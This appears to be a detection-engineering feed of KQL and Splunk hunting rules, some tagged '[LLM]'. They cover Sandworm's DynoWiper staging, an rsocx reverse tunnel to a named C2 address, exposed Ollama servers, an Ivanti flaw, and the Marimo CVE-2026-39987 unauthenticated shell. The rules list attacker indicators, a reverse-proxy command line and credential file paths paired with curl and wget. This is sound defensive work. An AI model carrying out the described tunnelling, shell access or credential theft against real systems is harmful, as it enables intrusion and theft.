AND (Filesystem.file_path="*C:\inetpub\pub\*" OR Filesystem.file_name IN ("schtask.exe","schtask2.exe","_update.exe","rubeus.exe","tmp_backup.tmp.exe","ts_5wb.tmp.exe","rsocx.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] DynoWiper staging: execution of schtask.exe / *_update.exe from C:\inetpub\pub\InstallationHigh
Hunts the specific DynoWiper deployment vector observed at the Polish energy victim, where Sandworm dropped wipers named schtask.exe, schtask2.exe and <name>_update.exe into the shared directory C:\inetpub\pub\ and executed them directly. C:\inetpub\pub\ is not a normal execution location for non-IIS binaries, and the schtask name is a deliberate masquerade for schtasks.exe.
Rationale: Pivots on the exact filenames (schtask.exe, schtask2.exe, *_update.exe) and the staging path (C:\inetpub\pub\) named by ESET and CERT Polska. The schtask.exe name is a masquerade of schtasks.exe and the inetpub\pub\ path is article-specific for the December 2025 incident. Hash join surfaces the dropper-to-execution chain.
Cross-checked against:
• https://thehackernews.com/2026/01/new-dynowiper-malware-used-in-attempted.html
• https://www.elastic.co/security-labs/dynowiper
• https://thehackernews.com/2026/01/poland-attributes-december-cyber.html
ATT&CKT1485T1036.005T1570
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
DeviceProcessEvents
| where FolderPath has @"\inetpub\pub\"
| where FileName in~ ("schtask.exe","schtask2.exe") or FileName endswith "_update.exe"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, FolderPath, ProcessCommandLine, SHA256, MD5
| join kind=leftouter (DeviceFileEvents | where FolderPath has @"\inetpub\pub\" | where FileName in~ ("schtask.exe","schtask2.exe") or FileName endswith "_update.exe" | project DropSHA256=SHA256, DropDevice=DeviceName, DropTime=Timestamp, DropFile=FileName) on $left.SHA256 == $right.DropSHA256
| sort by Timestamp asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_hash) as hashes from datamodel=Endpoint.Processes where (Processes.process_path="*\\inetpub\\pub\\*" OR Processes.process_path="*\\inetpub\\pub\\*") AND (Processes.process_name IN ("schtask.exe","schtask2.exe") OR Processes.process_name="*_update.exe") by Processes.dest Processes.user Processes.process_name Processes.process_path | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts the pre-wiper tunnel Sandworm tried to stand up at the Polish energy victim — the rsocx reverse-connect SOCKS5 proxy renamed to r.exe and run from a user's Downloads folder against 31.172.71[.]5:8008 (a compromised ProGame programming-school server in Vladivostok). The cmdline pattern '-r 31.172.71.5:8008' and the rare r.exe binary in Downloads are high-fidelity.
Rationale: 31.172.71.5:8008 and the cmdline shape 'r.exe -r <ip>:<port>' from a user's Downloads folder are unique to this incident per ESET. rsocx's '-r' reverse-connect flag is a stable string. Pairing the process and netflow tables catches both the launch and the resulting beacon even when the rename differs.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/eset-research-sandworm-cyberattack-poland-power-grid-late-2025/
• https://github.com/b23r0/rsocx
• https://gbhackers.com/dynowiper-malware/
ATT&CKT1090.001T1572T1105
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let c2_ip = "31.172.71.5";
let c2_port = 8008;
DeviceProcessEvents
| where (ProcessCommandLine has c2_ip and ProcessCommandLine has " -r ")
or (FileName =~ "r.exe" and FolderPath has @"\Downloads\" and ProcessCommandLine has " -r " and ProcessCommandLine has tostring(c2_port))
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, SHA256, InitiatingProcessFileName
| union (
DeviceNetworkEvents
| where RemoteIP == c2_ip and RemotePort == c2_port
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine
)
| sort by Timestamp asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process="* -r 31.172.71.5:8008*" OR Processes.process="*31.172.71[.]5:8008*" OR (Processes.process_name="r.exe" AND Processes.process_path="*\\Downloads\\*" AND Processes.process="* -r *")) by Processes.dest Processes.user Processes.process_name Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_ip="31.172.71.5" AND All_Traffic.dest_port=8008 by All_Traffic.src All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.app | `drop_dm_object_name(All_Traffic)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] GPO-staged scheduled task launching wiper from \\*\inetpub\pub\ across domainInstallationMedium
Hunts Sandworm's domain-wide deployment pattern reused for DynoWiper: a PowerShell script that creates a GPO + scheduled task on the DC and points the action at a binary in the inetpub\pub\ network share so endpoints execute the wiper directly from UNC. Hunts both the GPO/scheduled-task creation on the DC and the resulting UNC-launched processes on member hosts.
Rationale: Article ties the DynoWiper PowerShell deployer to GPO + scheduled-task variables (DC name, GPO name, scheduled task name, file path) and notes the binary was executed directly from the C:\inetpub\pub\ share rather than copied per-host. Threshold of >=3 hosts running an EXE from \inetpub\pub\ within a short window captures the fan-out without alerting on a single admin run, while the GPO/Register-ScheduledTask cmdline branch catches the staging on the DC.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/eset-research-sandworm-cyberattack-poland-power-grid-late-2025/
• https://thehackernews.com/2026/01/poland-attributes-december-cyber.html
• https://www.elastic.co/security-labs/dynowiper
ATT&CKT1484.001T1053.005T1570T1485
Data sourcesEndpoint.ProcessesEndpoint.FilesystemChange.All_Changes
let suspectShare = @"\inetpub\pub\";
let wiper_exec =
DeviceProcessEvents
| where ProcessCommandLine has suspectShare or FolderPath has suspectShare
| where FileName endswith ".exe"
| summarize hosts=dcount(DeviceName), users=make_set(AccountName,10), files=make_set(FileName,10), firstSeen=min(Timestamp), lastSeen=max(Timestamp) by FileName
| where hosts >= 3;
let gpo_or_sched =
union
(DeviceProcessEvents
| where (ProcessCommandLine has_any ("New-GPO","Set-GPLink","Register-ScheduledTask","schtasks /create")
and ProcessCommandLine has "inetpub\\pub")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine),
(DeviceEvents
| where ActionType == "ScheduledTaskCreated"
| where AdditionalFields has "inetpub\\pub"
| project Timestamp, DeviceName, AccountName, AdditionalFields);
wiper_exec
| extend Source="endpoint_exec"
| union (gpo_or_sched | extend Source="gpo_or_schedtask")
| sort by Timestamp asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.user) as users dc(Processes.dest) as host_count from datamodel=Endpoint.Processes where (Processes.process="*\\\\*\\inetpub\\pub\\*" OR Processes.process="*\\inetpub\\pub\\*.exe*" OR Processes.parent_process="*schtasks*\\inetpub\\pub*") by Processes.process_name Processes.process_path | where host_count >= 3 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | append [ search index=wineventlog (EventCode=4698 OR EventCode=4688) (TaskContent="*inetpub\\pub*" OR CommandLine="*New-GPO*" OR CommandLine="*Set-GPLink*" OR CommandLine="*Register-ScheduledTask*inetpub*") | stats count min(_time) as firstTime values(CommandLine) as cmd by host User TaskName ]
2026-01-295 use cases2 techniques6 kill-chain phases detected
Analysis of 175,000 open-source AI hosts across 130 countries reveals a vast compute layer susceptible to resource hijacking and code execution attacks.
ATT&CKT1190T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] Ollama service started bound to public interface (OLLAMA_HOST=0.0.0.0 / 11434)
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] Corporate endpoint reaching out to public Ollama API (TCP/11434) — Silent Brothers abuse
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Ollama service started bound to public interface (OLLAMA_HOST=0.0.0.0 / 11434)InstallationHigh
Hunts the specific misconfiguration that creates the 175k-host exposed Ollama ecosystem described by SentinelLABS/Censys: the Ollama daemon launched with OLLAMA_HOST=0.0.0.0, --host 0.0.0.0, or serve 0.0.0.0:11434 instead of the secure 127.0.0.1 default. Catches the moment of exposure rather than waiting for inbound abuse — particularly important on hosts with tool-calling / RAG enabled.
Rationale: The article names the exact mechanism that turns a private Ollama install into a public one: changing the bind from 127.0.0.1:11434 to 0.0.0.0. CVE-2024-37032 (Wiz / Probllama) and CNVD-2025-04094 confirm that an Ollama instance reachable on 11434 is a direct-RCE / model-theft surface, so process launch with these strings is high-fidelity. This fires at INSTALL — before Elastic's inbound-network rule would have anything to see.
Cross-checked against:
• https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
• https://securityboulevard.com/2025/03/ollama-unauthorized-access-vulnerability-due-to-improper-configuration-cnvd-2025-04094/
• https://www.elastic.co/guide/en/security/8.19/ollama-api-accessed-from-external-network.html
• https://www.upguard.com/blog/understanding-and-securing-exposed-ollama-instances
ATT&CKT1133T1021.001T1190T1059
Data sourcesEndpoint.ProcessesEndpoint.Registry
// UC1a: process launch with public binding
let OllamaProc = DeviceProcessEvents
| where FileName in~ ("ollama","ollama.exe","ollama-runner","ollama-runner.exe") or ProcessVersionInfoOriginalFileName =~ "ollama"
| where ProcessCommandLine has_any ("OLLAMA_HOST=0.0.0.0","OLLAMA_HOST=:11434","--host 0.0.0.0","--host=0.0.0.0","0.0.0.0:11434",":11434")
or (ProcessCommandLine has "serve" and ProcessCommandLine has_any ("0.0.0.0",":11434"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;
// UC1b: persistent env var via setx / SYSTEM env registry
let OllamaEnv = DeviceRegistryEvents
| where RegistryKey has_any (@"\Environment",@"\Session Manager\Environment")
| where RegistryValueName =~ "OLLAMA_HOST"
| where RegistryValueData has_any ("0.0.0.0",":11434") and RegistryValueData !startswith "127."
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine;
union OllamaProc, OllamaEnv
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent from datamodel=Endpoint.Processes where (Processes.process_name="ollama" OR Processes.process_name="ollama.exe" OR Processes.process_name="ollama-runner" OR Processes.original_file_name="ollama") AND (Processes.process="*OLLAMA_HOST=0.0.0.0*" OR Processes.process="*OLLAMA_HOST=:11434*" OR Processes.process="*--host 0.0.0.0*" OR Processes.process="*--host=0.0.0.0*" OR Processes.process="*serve*0.0.0.0:11434*" OR Processes.process="*serve*:11434*") by Processes.dest Processes.user Processes.process_name Processes.process_id host | `drop_dm_object_name(Processes)` | `ctime(firstTime)` | `ctime(lastTime)` | eval risk_note="Ollama bound to public interface — exposed API on 11434 with no auth by default"
[LLM] Corporate endpoint reaching out to public Ollama API (TCP/11434) — Silent Brothers abuseCommand & ControlMedium
Hunts internal hosts initiating connections to TCP/11434 on Internet IPs — i.e., a corporate user, script, or compromised process leveraging the exposed 'Silent Brothers' Ollama backbone as anonymous, unbilled, unmonitored AI compute (resource hijacking from the consumer side, exfil via prompts, or laundering generation through residential IPs). Pairs with /api/chat, /api/generate, /api/embeddings URI paths if proxy/web telemetry is available.
Rationale: Article-specific because the 'Silent Brothers' research is explicitly about the unbilled, residential-IP, unauthenticated public Ollama pool that internal users or malware can reach on its default port 11434. CNVD-2025-04094 and the Cisco Shodan study confirm 11434 as the canonical Ollama port and confirm the unauth exposure model. Distinct from Elastic's existing rule, which fires on inbound external→internal Ollama; this one fires on outbound internal→external (shadow-AI / exfil direction).
Cross-checked against:
• https://blogs.cisco.com/security/detecting-exposed-llm-servers-shodan-case-study-on-ollama
• https://securityboulevard.com/2025/03/ollama-unauthorized-access-vulnerability-due-to-improper-configuration-cnvd-2025-04094/
• https://www.elastic.co/guide/en/security/8.19/ollama-api-accessed-from-external-network.html
• https://byteiota.com/175k-ollama-servers-exposed-46k-day-attack-costs/
ATT&CKT1071.001T1567T1496T1090
Data sourcesNetwork_Traffic.All_TrafficWeb
let internalRanges = dynamic(["10.","172.16.","172.17.","172.18.","172.19.","172.2","172.30.","172.31.","192.168.","127.","169.254.","100.64."]);
DeviceNetworkEvents
| where RemotePort == 11434 and Protocol =~ "Tcp"
| where ActionType in ("ConnectionSuccess","ConnectionAttempt","HttpConnectionInspected")
| where not(RemoteIP startswith_any (internalRanges))
| where ipv4_is_private(RemoteIP) == false
| summarize ConnAttempts=count(),
BytesOutTotal=sumif(toint(InitiatingProcessFileSize),true), // placeholder – swap for proxy bytes if available
FirstSeen=min(Timestamp), LastSeen=max(Timestamp),
RemoteIPs=make_set(RemoteIP, 25),
URLs=make_set(RemoteUrl, 25),
Procs=make_set(InitiatingProcessFileName, 10),
CmdLines=make_set(InitiatingProcessCommandLine, 10)
by DeviceName, AccountName=InitiatingProcessAccountName
| where ConnAttempts >= 2
| extend Note="Internal host calling out to exposed public Ollama (11434) — possible Silent Brothers abuse / shadow-AI / exfil-via-prompt"
| order by ConnAttempts desc
| tstats summariesonly=true count sum(All_Traffic.bytes_out) as bytes_out sum(All_Traffic.bytes_in) as bytes_in dc(All_Traffic.dest) as dest_count values(All_Traffic.dest) as dests values(All_Traffic.app) as apps min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port=11434 AND All_Traffic.transport="tcp" AND NOT (All_Traffic.dest IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","127.0.0.0/8","169.254.0.0/16","100.64.0.0/10")) AND NOT All_Traffic.dest_category="internal" by All_Traffic.src All_Traffic.user All_Traffic.src_category host | `drop_dm_object_name(All_Traffic)` | where bytes_out > 1024 OR count >= 3 | `ctime(firstTime)` | `ctime(lastTime)` | eval note="Outbound to public Ollama 11434 — likely use of unsanctioned exposed LLM endpoint" ```
``` ```appendpipe [ | tstats summariesonly=true count values(Web.url) as urls values(Web.http_method) as methods from datamodel=Web where Web.dest_port=11434 OR (Web.url="*/api/generate*" OR Web.url="*/api/chat*" OR Web.url="*/api/embeddings*" OR Web.url="*/api/tags*" OR Web.url="*/api/show*" OR Web.url="*/api/ps*") by Web.src Web.dest Web.user host | `drop_dm_object_name(Web)` | eval note="Web telemetry confirmed Ollama API call to external dest" ]
2026-01-294 use cases1 technique3 kill-chain phases detected
Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability that could allow attackers to achieve unauthenticated remote code execution. Vendor: Ivanti, Product: Endpoint Manager Mobile (EPMM). Federal patch due: 2026-04-11.
CVEsCVE-2026-1340
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-1340")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-1340")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · [LLM] GhostChat second-stage DLL fetch from foxy580.github.io/koko or hitpak.org/notepad2.dll · [LLM] Visit to fake PKCERT lure on buildthenations.info preceding scripted execution
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] GhostChat C2 beacon to hitpak.org with 'tynor=<host>sss<user>' URI pattern
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
